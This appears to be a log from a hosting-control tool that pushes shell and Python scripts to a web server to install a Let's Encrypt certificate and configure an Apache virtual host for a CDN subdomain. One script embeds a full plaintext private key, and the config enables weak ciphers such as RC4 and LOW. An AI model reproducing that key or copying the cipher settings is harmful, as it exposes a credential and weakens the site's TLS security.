MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-29 16:01:39: Establishing a connection
2026-04-29 16:01:40: Establishing a connection
2026-04-29 16:01:41: 

PUT: /tmp/pkp534485

#!/bin/bash
if [ -d "/mnt/internal/CDN/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-04-29 16:01:42: 

chmod 755 /tmp/pkp534485; /tmp/pkp534485; rm /tmp/pkp534485

2026-04-29 16:01:42: 


1


2026-04-29 16:01:44: Establishing a connection
2026-04-29 16:01:46: 

PUT: /tmp/pkp488663

#!/bin/bash
mkdir -p "/mnt/internal/CDN/.well-known/acme-challenge/"
cd "/mnt/internal/CDN/.well-known/acme-challenge/"


2026-04-29 16:01:46: 

chmod 755 /tmp/pkp488663; /tmp/pkp488663; rm /tmp/pkp488663

2026-04-29 16:01:47: 




2026-04-29 16:04:30: Establishing a connection
2026-04-29 16:04:31: Establishing a connection
2026-04-29 16:04:32: 

PUT: /tmp/pkp910039

#!/bin/bash
if [ -d "/mnt/internal/CDN/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-04-29 16:04:33: 

chmod 755 /tmp/pkp910039; /tmp/pkp910039; rm /tmp/pkp910039

2026-04-29 16:04:33: 


0


2026-04-29 16:04:52: Establishing a connection
2026-04-29 16:04:53: 

PUT: /tmp/pkp400208

#!/bin/bash
temp_file=$(mktemp)
TARGET=33c1aca709cdbd6de954e7f75b205eb8.crt

cat > $temp_file <<'endmsg'
56:d7:3f:c2:2e:23:b2:b2:03:f0:88:d9:b7:e7:de:3c

-----BEGIN CERTIFICATE-----
MIIFDDCCA/SgAwIBAgISBfZsvW4mU4ateWFWQ+cqXzVBMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNDI5MTUwNjIwWhcNMjYwNzI4MTUwNjE5WjAjMSEwHwYDVQQD
ExhjZG40LmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQCkWzL32x1/b0EjB7Tw6aC5If/+nAE2AtWN7ew43gYxU9wC8ujG
GybXksvCwmhA9q/vMjypi80QwPsSTSGUejyAYq7Mb9gJjIM8orsoZvK+4CtQXioe
+4Co3MpMs5ggT/OxE6lr2cA5rbedRZv1ybmSu6/1ylL1nQUMmwJ5/sKdCnmql4FO
LU/9vrd3ve2Ht5za7raWv8dlIaP0Xl0NJUgXU6cM5ztp1OJHmD2v3q3Vl98avtez
k/cBHI6v57/WA4GPojVvUBlIhytnCiGIQn2GiD9JZ39kKoJJrpnZr/ALw5O9gsVO
6w7HO8L6PS9JGJncRIQtwFEf2Ai7imi0eTFNAgMBAAGjggIoMIICJDAOBgNVHQ8B
Af8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUWrpvHLSOSNPSTqqPASwTMk0VcckwHwYDVR0jBBgwFoAUALUp8i2ObzHo
m0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEyLmkubGVuY3Iub3JnLzAjBgNVHREEHDAaghhjZG40LmhvcGVpbnN0b3VnaHRv
bi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMi5jLmxlbmNyLm9yZy82Ni5jcmwwggEOBgorBgEEAdZ5AgQCBIH/BIH8
APoAdwDCMX5XRRmjRe5/ON6ykEHrx8IhWiK/f9W1rXaa2Q5SzQAAAZ3Z/GdWAAAE
AwBIMEYCIQDJaArXajBRv0lO0V15Bo6JTJpAJ4H/gVEI1sw/D9A9QwIhAJ4WRtv8
+RN8OuKYkT6bHtgRUjhxZBg6YCfSMWSkvx5VAH8AJuNkblhpISO8ND9HJDWbN5LN
JFqI2BXTkzP9mRirRyMAAAGd2fxnawAIAAAFAAtz+LEEAwBIMEYCIQDcAZqf1ECT
RmAYmk4/5wV3CcuFna/buSEOna+G7c9SZwIhAL5GgDVBWvKAEFTzXy7P3m8PLH+t
slQlHMiHOMHAM/JgMA0GCSqGSIb3DQEBCwUAA4IBAQCmpz5zKMrNpA43rvhWcVlT
4wYOKyzgmVE2ZRv0eeqDhTio6mfyJALkFkJCeyTpGSbVMvrRY3MaRIayveGxXQYY
zrk5ZqI0wuuM/u5o7i6FxqBozK1s89Q3zNynGBXGiEHJlgG4a+J/RaA5ygvUFXxv
DDWuaHtWJxBife+hitvRE0NQka+nv2NrTTscZWJRE89djjplKr6P+CZwU+s0vGZ+
5jYJLyRNye1KTkaOF/2D8VRQlT09NtRch2ZaUPH8Z2z1+FR8ugsnsR2cbadgXTt7
mbgetbQn9I++0JE4d/prOjGNvH0CRUpLOn6fOxLGVdaTQHOh1Wi6L9vXRNGxYgc9
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCkWzL32x1/b0Ej
B7Tw6aC5If/+nAE2AtWN7ew43gYxU9wC8ujGGybXksvCwmhA9q/vMjypi80QwPsS
TSGUejyAYq7Mb9gJjIM8orsoZvK+4CtQXioe+4Co3MpMs5ggT/OxE6lr2cA5rbed
RZv1ybmSu6/1ylL1nQUMmwJ5/sKdCnmql4FOLU/9vrd3ve2Ht5za7raWv8dlIaP0
Xl0NJUgXU6cM5ztp1OJHmD2v3q3Vl98avtezk/cBHI6v57/WA4GPojVvUBlIhytn
CiGIQn2GiD9JZ39kKoJJrpnZr/ALw5O9gsVO6w7HO8L6PS9JGJncRIQtwFEf2Ai7
imi0eTFNAgMBAAECggEAFIFeWAcJ5JrMTSMKg54aU862ohzzl7n9y9HZzXSB4Eie
o+2Ldh/wFig17MwVdrlwVM73O436HTN+f5eI733aq4fkWBRCJ1rVCs0gvZcuhPrx
3HqLFcd6E1dMlAo6GhnvhPG3iwGlVmzigigrn5w132U0PF2sQQGAnkR+qBrNTAtN
r/d4BE8UVghuK3H/3Ww1rSHmKQmll1+6uzzwNJGxSJMTPmB55xBzibHGuWa4y8oL
W0uN7EOJbFpL3r7igD+JIJlOIv6TUcqliY+fnyAlKyW9VVS14Go9calAiACB7me4
aOJqNVt27slVDZa9FBCDAl+trFBVP3K/1zR9NPHTTwKBgQDd8BwG21pokA0PUkoV
odoqFfl4R0e69wcv/lAfwd6Cqgsvy0LPD+nJTRSn3CgP9BgZYgmFVdxzpw4MxM/c
/iVbUxs6F5mc7KYYRAD2pUo3+bE4LVi2CLqfe0qW+ClAgXT9i6ST/p+hfLjzYHC4
fzLlXWswbFRPphHVZpjdJwzjnwKBgQC9lLfv3XnLGxOB6+6g49ffRseF0p0dWiI2
4LqNNe0/PibEY2MCbkoiMc/bbADQPc3CVFlsG6PUUijs7peKtByJc4InHoUV61LT
mpnLesOptwQxI9o2OytSuWRFd78jayJGNkm8qZ1OoabmXXTnCdf1PyD2FBwCO+Q/
kz0U2HRjkwKBgQCjRIQZtzynN3GkF9FQYKTx2QCRLz7hl+C9ucSP2DssvJNGMa2Q
ThCaeg37/sWqFtOzuJ9wa12l5vs7AX45AO3SZSzea4YiHyWBLGXZDHew/gsVXKaq
I3nG4RhaP215esLp0tTb2rDsR6h3wjaqQ0jZ2wODt+2+OllcOAG0j4m32QKBgGVj
5kOopXyUjIhNkCAH+un0xryxeUm7bNUAt4TSNIJAUSdzJ/6i0Y8cKNhnGMBGbYbi
6bhByArDrhOZPv71eNWiKxeU4QRqCLAW3O3QSFi6AsntLMUYPAFQGWp1sonUwE3g
turpo7HsDoDhtqXhw9fr3Ur+UkR3l4jQzDgb05N1AoGBAKzg5PT6LwuDkeumiGFB
1T6J+srdKd0jZMK0inI0OG6wyGicanDZfMaGZqTpGjc40qr9hW8G/ccDOCk3AXrr
FUinlxFY6n7XGS2nJFjBVIVT8etmtvsSvY+XjAo59DKB6IhRD3H/L4weJbU2+ZNT
kAptLTaBd5U0Dx9mLswOjJ8n
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-04-29 16:04:53: 

chmod 755 /tmp/pkp400208; /tmp/pkp400208; rm /tmp/pkp400208

2026-04-29 16:04:54: 


dir=/etc/ssl/certs


2026-04-29 16:04:54: 

PUT: /tmp/pkp959294

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-04-29 16:04:54: 

chmod 755 /tmp/pkp959294; /tmp/pkp959294; rm /tmp/pkp959294

2026-04-29 16:04:54: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf 48

<VirtualHost *:80>
    ServerName	cdn4.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/mnt/internal/CDN
    <Directory /mnt/internal/CDN>
        Options	+FollowSymLinks -MultiViews
        Require	all granted
        AllowOverride	All
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn4_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn4_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	cdn4.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/33c1aca709cdbd6de954e7f75b205eb8.crt
    DocumentRoot	/mnt/internal/CDN
    <Directory /mnt/internal/CDN>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn4_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn4_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-04-29 16:04:54: 

PUT: /tmp/pkp133188

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_cdn4_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	cdn4.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/mnt/internal/CDN
    <Directory /mnt/internal/CDN>
        Options	+FollowSymLinks -MultiViews
        Require	all granted
        AllowOverride	All
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn4_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn4_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	cdn4.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/33c1aca709cdbd6de954e7f75b205eb8.crt
    DocumentRoot	/mnt/internal/CDN
    <Directory /mnt/internal/CDN>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn4_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn4_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf= 1'
fi


2026-04-29 16:04:55: 

chmod 755 /tmp/pkp133188; /tmp/pkp133188; rm /tmp/pkp133188

2026-04-29 16:04:55: 




2026-04-29 16:04:55: 

PUT: /tmp/pkp771875

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-04-29 16:04:55: 

chmod 755 /tmp/pkp771875; /tmp/pkp771875; rm /tmp/pkp771875

2026-04-29 16:04:56: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-29 16:04:56: Establishing a connection
2026-04-29 16:04:57: 

PUT: /tmp/pkp940837

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-04-29 16:04:57: 

chmod 755 /tmp/pkp940837; /tmp/pkp940837; rm /tmp/pkp940837

2026-04-29 16:04:58: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost cdn4.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf:2)
         port 80 namevhost alive.pjy.us (/etc/apache2/sites-enabled/pjy_alive_us.conf:2)
         port 80 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:2)
         port 80 namevhost stage.theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_stage.conf:2)
*:443                  is a NameVirtualHost
         default server cdn4.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf:18)
         port 443 namevhost cdn4.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf:18)
         port 443 namevhost alive.pjy.us (/etc/apache2/sites-enabled/pjy_alive_us.conf:19)
         port 443 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:22)
         port 443 namevhost stage.theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_stage.conf:21)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-29 16:04:58: 

PUT: /tmp/pkp960307

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-29 16:04:58: 

chmod 755 /tmp/pkp960307; /tmp/pkp960307; rm /tmp/pkp960307

2026-04-29 16:04:58: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf	1172

<VirtualHost *:80>
    ServerName	cdn4.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/mnt/internal/CDN
    <Directory /mnt/internal/CDN>
        Options	+FollowSymLinks -MultiViews
        Require	all granted
        AllowOverride	All
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn4_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn4_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	cdn4.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/33c1aca709cdbd6de954e7f75b205eb8.crt
    DocumentRoot	/mnt/internal/CDN
    <Directory /mnt/internal/CDN>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn4_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn4_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-04-29 16:04:58: 

PUT: /tmp/pkp905910

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/33c1aca709cdbd6de954e7f75b205eb8.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-29 16:04:59: 

chmod 755 /tmp/pkp905910; /tmp/pkp905910; rm /tmp/pkp905910

2026-04-29 16:04:59: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/33c1aca709cdbd6de954e7f75b205eb8.crt	5369
56:d7:3f:c2:2e:23:b2:b2:03:f0:88:d9:b7:e7:de:3c

-----BEGIN CERTIFICATE-----
MIIFDDCCA/SgAwIBAgISBfZsvW4mU4ateWFWQ+cqXzVBMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNDI5MTUwNjIwWhcNMjYwNzI4MTUwNjE5WjAjMSEwHwYDVQQD
ExhjZG40LmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQCkWzL32x1/b0EjB7Tw6aC5If/+nAE2AtWN7ew43gYxU9wC8ujG
GybXksvCwmhA9q/vMjypi80QwPsSTSGUejyAYq7Mb9gJjIM8orsoZvK+4CtQXioe
+4Co3MpMs5ggT/OxE6lr2cA5rbedRZv1ybmSu6/1ylL1nQUMmwJ5/sKdCnmql4FO
LU/9vrd3ve2Ht5za7raWv8dlIaP0Xl0NJUgXU6cM5ztp1OJHmD2v3q3Vl98avtez
k/cBHI6v57/WA4GPojVvUBlIhytnCiGIQn2GiD9JZ39kKoJJrpnZr/ALw5O9gsVO
6w7HO8L6PS9JGJncRIQtwFEf2Ai7imi0eTFNAgMBAAGjggIoMIICJDAOBgNVHQ8B
Af8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUWrpvHLSOSNPSTqqPASwTMk0VcckwHwYDVR0jBBgwFoAUALUp8i2ObzHo
m0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEyLmkubGVuY3Iub3JnLzAjBgNVHREEHDAaghhjZG40LmhvcGVpbnN0b3VnaHRv
bi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMi5jLmxlbmNyLm9yZy82Ni5jcmwwggEOBgorBgEEAdZ5AgQCBIH/BIH8
APoAdwDCMX5XRRmjRe5/ON6ykEHrx8IhWiK/f9W1rXaa2Q5SzQAAAZ3Z/GdWAAAE
AwBIMEYCIQDJaArXajBRv0lO0V15Bo6JTJpAJ4H/gVEI1sw/D9A9QwIhAJ4WRtv8
+RN8OuKYkT6bHtgRUjhxZBg6YCfSMWSkvx5VAH8AJuNkblhpISO8ND9HJDWbN5LN
JFqI2BXTkzP9mRirRyMAAAGd2fxnawAIAAAFAAtz+LEEAwBIMEYCIQDcAZqf1ECT
RmAYmk4/5wV3CcuFna/buSEOna+G7c9SZwIhAL5GgDVBWvKAEFTzXy7P3m8PLH+t
slQlHMiHOMHAM/JgMA0GCSqGSIb3DQEBCwUAA4IBAQCmpz5zKMrNpA43rvhWcVlT
4wYOKyzgmVE2ZRv0eeqDhTio6mfyJALkFkJCeyTpGSbVMvrRY3MaRIayveGxXQYY
zrk5ZqI0wuuM/u5o7i6FxqBozK1s89Q3zNynGBXGiEHJlgG4a+J/RaA5ygvUFXxv
